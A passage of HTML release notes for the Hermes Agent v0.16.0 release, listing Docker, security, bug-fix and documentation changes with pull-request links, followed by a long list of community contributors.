data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>MCP: stop reporting false OAuth success when no token was obtained; vision honors <code>model.supports_vision</code> in <code>vision_analyze</code> + <code>browser_vision</code>; MiniMax t2a_v2 TTS <code>raise_for_status</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/34807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34807/hovercard">#34807</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34562" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34562/hovercard">#34562</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39057" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39057/hovercard">#39057</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>yuanbao: cache resolved media resources by resourceId (<a href="https://github.com/NousResearch/hermes-agent/pull/34474" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34474/hovercard">#34474</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐳 Docker &amp; Deployment</h2>
<ul>
<li>Container reuse + bounded-sync cleanup + orphan reaper; auto-join Docker socket group for docker-in-docker backend; boot non-root containers (skip s6-setuidgid drop when already unprivileged) (<a href="https://github.com/NousResearch/hermes-agent/pull/33645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33645/hovercard">#33645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34407" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34407/hovercard">#34407</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34837" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34837/hovercard">#34837</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>)</li>
<li>Skip unnecessary boot chown when volume ownership matches remapped UID; seed <code>gateway_state.json</code> from <code>HERMES_GATEWAY_BOOTSTRAP_STATE</code> on first boot; tag containers with hermes-agent labels for identification (<a href="https://github.com/NousResearch/hermes-agent/pull/35027" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35027/hovercard">#35027</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Foldblade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Foldblade">@Foldblade</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37896" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37896/hovercard">#37896</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Point TUI launcher at prebuilt bundle via <code>HERMES_TUI_DIR</code>; consolidate node/nix workspace lockfile + update all consumers (<a href="https://github.com/NousResearch/hermes-agent/pull/37923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37923/hovercard">#37923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36171" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36171/hovercard">#36171</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li><strong><a title="CVE-2026-48710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-86qp-5c8j-p5mr/hovercard" href="https://github.com/advisories/GHSA-86qp-5c8j-p5mr">CVE-2026-48710</a> (Starlette BadHost)</strong> — pin patched Starlette ≥1.0.1 (<a href="https://github.com/NousResearch/hermes-agent/pull/35118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35118/hovercard">#35118</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Run URL SSRF checks off the event loop in async paths; strip Bedrock inference bearer token from subprocess env; add <code>bws_cache.json</code> to file-safety read guard; neutralize file paths in mutation-verifier footer (<a href="https://github.com/NousResearch/hermes-agent/pull/39046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39046/hovercard">#39046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34498/hovercard">#34498</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34421/hovercard">#34421</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35684/hovercard">#35684</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Restore approval/sudo context in <code>execute_code</code> + guard entry points; add docker restart/stop/kill to <code>DANGEROUS_PATTERNS</code>; sanitize invisible unicode in vetted skill content; deepcopy tools before in-place xAI mutation (<a href="https://github.com/NousResearch/hermes-agent/pull/34497" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34497/hovercard">#34497</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33438/hovercard">#33438</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sarbai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sarbai">@Sarbai</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37245/hovercard">#37245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34416/hovercard">#34416</a>)</li>
<li>Sandbox-mirror soft guard for writes to per-task <code>.hermes</code> mirrors; honcho fail-open on startup (<a href="https://github.com/NousResearch/hermes-agent/pull/32213" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32213/hovercard">#32213</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/24847" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24847/hovercard">#24847</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>)</li>
</ul>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li><strong>399 issues closed</strong> this window (2 P0, 62 P1, 16 security-tagged, 262 bug-labeled).</li>
<li>Desktop: keep in-flight new chats from vanishing on refresh; Stop button actually interrupts when a turn is queued; stop background session messages bleeding into the active transcript; slash/@ completion menu navigable &amp; Esc-dismissable; IME Enter no longer splits messages (<a href="https://github.com/NousResearch/hermes-agent/pull/37908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37908/hovercard">#37908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37948" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37948/hovercard">#37948</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37975" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37975/hovercard">#37975</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37937/hovercard">#37937</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38333/hovercard">#38333</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stremtec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stremtec">@stremtec</a>)</li>
<li>Update: stop stash/restore from clobbering desktop source on managed clones; don't fail desktop rebuild/skills sync on mid-rebuild venv; export launcher virtualenv to uv (<a href="https://github.com/NousResearch/hermes-agent/pull/38542" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38542/hovercard">#38542</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38885" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38885/hovercard">#38885</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35224" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35224/hovercard">#35224</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: honor <code>PIPEWIRE_REMOTE</code> in PortAudio fallback; allow <code>/voice</code> over SSH when a sound server is reachable; restore mistralai (2.4.8 clean, ban lifted) (<a href="https://github.com/NousResearch/hermes-agent/pull/33473" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33473/hovercard">#33473</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35719" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35719/hovercard">#35719</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34841" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34841/hovercard">#34841</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>📚 Documentation</h2>
<ul>
<li>New Desktop App guide + remote-backend sections (session token, <code>--tui</code> requirement, username/password connect, dashboard/gateway prerequisites) (<a href="https://github.com/NousResearch/hermes-agent/pull/37457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37457/hovercard">#37457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38144" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38144/hovercard">#38144</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38180/hovercard">#38180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38534/hovercard">#38534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39128" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39128/hovercard">#39128</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard auth-provider suitability + registration across dashboard/Docker/Desktop; network egress isolation guide for Docker (<a href="https://github.com/NousResearch/hermes-agent/pull/39633" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39633/hovercard">#39633</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26385/hovercard">#26385</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Manzela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Manzela">@Manzela</a>)</li>
</ul>
<hr>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/dce3dbf5bb0dd2266a53228a5fa88f6edfcc799d15ee225429fb919e1a45a8c4/68747470733a2f2f7633622e66616c2e6d656469612f66696c65732f622f30613964323438662f41795242454b533843346f36485a4e46364b6a62445f4d325535793477592e706e67"><img src="https://camo.githubusercontent.com/dce3dbf5bb0dd2266a53228a5fa88f6edfcc799d15ee225429fb919e1a45a8c4/68747470733a2f2f7633622e66616c2e6d656469612f66696c65732f622f30613964323438662f41795242454b533843346f36485a4e46364b6a62445f4d325535793477592e706e67" alt="Hermes Agent v0.16.0 — The Surface Release" data-canonical-src="https://v3b.fal.media/files/b/0a9d248f/AyRBEKS8C4o6HZNF6KjbD_M2U5y4wY.png"></a></p>
<h2>👥 Contributors</h2>
<p>A huge thank-you to the <strong>170 community contributors</strong> (including co-authors) who shipped work in this release.</p>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></li>
</ul>
<h3>Top community contributors (by merged-PR count)</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a></strong> (52) — built the desktop app end to end: install, self-update, remote-gateway connect, multi-profile sessions, chat UX, status-bar model picker</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a></strong> (44) — Docker hardening, dashboard auth (OIDC, username/password, refresh-token rotation), desktop OAuth remote connect</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong> (29) — fuzzy model picker, setup/portal onboarding, desktop completion-menu &amp; Stop-button fixes, honcho hardening</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a></strong> (18) — desktop build pipeline (content-hash stamp, build flags), Linux/arm64 desktop support, managed-uv consolidation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a></strong> (8) — dashboard nous-blue theme + bulk sessions, desktop Providers settings, GUI QoL triage</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> (7) — Nous tool-pool entitlement surfacing, FAL video-gen managed gateway, supermemory session ingest, matrix aliases</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a></strong> (6) — gateway service-restart flow, update destructive-clean guard, config prefill alignment</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a></strong> (4) — installer commit-pinning opt-in, desktop skills/tools + model-management consolidation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a></strong> — full Simplified Chinese (简体中文) desktop translation + typed i18n layer</li>
</ul>
<h3>All Contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xharryriddle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xharryriddle">@0xharryriddle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/a1245582339/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/a1245582339">@a1245582339</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alaamohanad169-ship-it/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alaamohanad169-ship-it">@alaamohanad169-ship-it</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aman113114-IITD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aman113114-IITD">@Aman113114-IITD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amathxbt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amathxbt">@amathxbt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aminvakil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aminvakil">@aminvakil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aqilaziz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aqilaziz">@aqilaziz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Archerouyang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Archerouyang">@Archerouyang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ashishpatel26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ashishpatel26">@ashishpatel26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baofuen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baofuen">@baofuen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bedirhancode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bedirhancode">@bedirhancode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benfrank241/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benfrank241">@benfrank241</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blackpilledsoftware-prog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blackpilledsoftware-prog">@blackpilledsoftware-prog</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bluefishs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bluefishs">@bluefishs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brian-doherty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brian-doherty">@brian-doherty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briancl2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briancl2">@briancl2</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/caojiguang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/caojiguang">@caojiguang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharZhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharZhou">@CharZhou</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/counterposition/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/counterposition">@counterposition</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CryptoByz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CryptoByz">@CryptoByz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davetist/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davetist">@davetist</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dchenk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dchenk">@dchenk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dirtyren/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dirtyren">@dirtyren</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donovan-yohan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donovan-yohan">@donovan-yohan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dparikh79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dparikh79">@dparikh79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dskwe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dskwe">@dskwe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dvir-pashut/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dvir-pashut">@dvir-pashut</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EloquentBrush0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EloquentBrush0x">@EloquentBrush0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErnestHysa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErnestHysa">@ErnestHysa</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/f3rs3n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/f3rs3n">@f3rs3n</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/faisfamilytravel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/faisfamilytravel">@faisfamilytravel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fearvox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fearvox">@Fearvox</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fesalfayed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fesalfayed">@fesalfayed</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 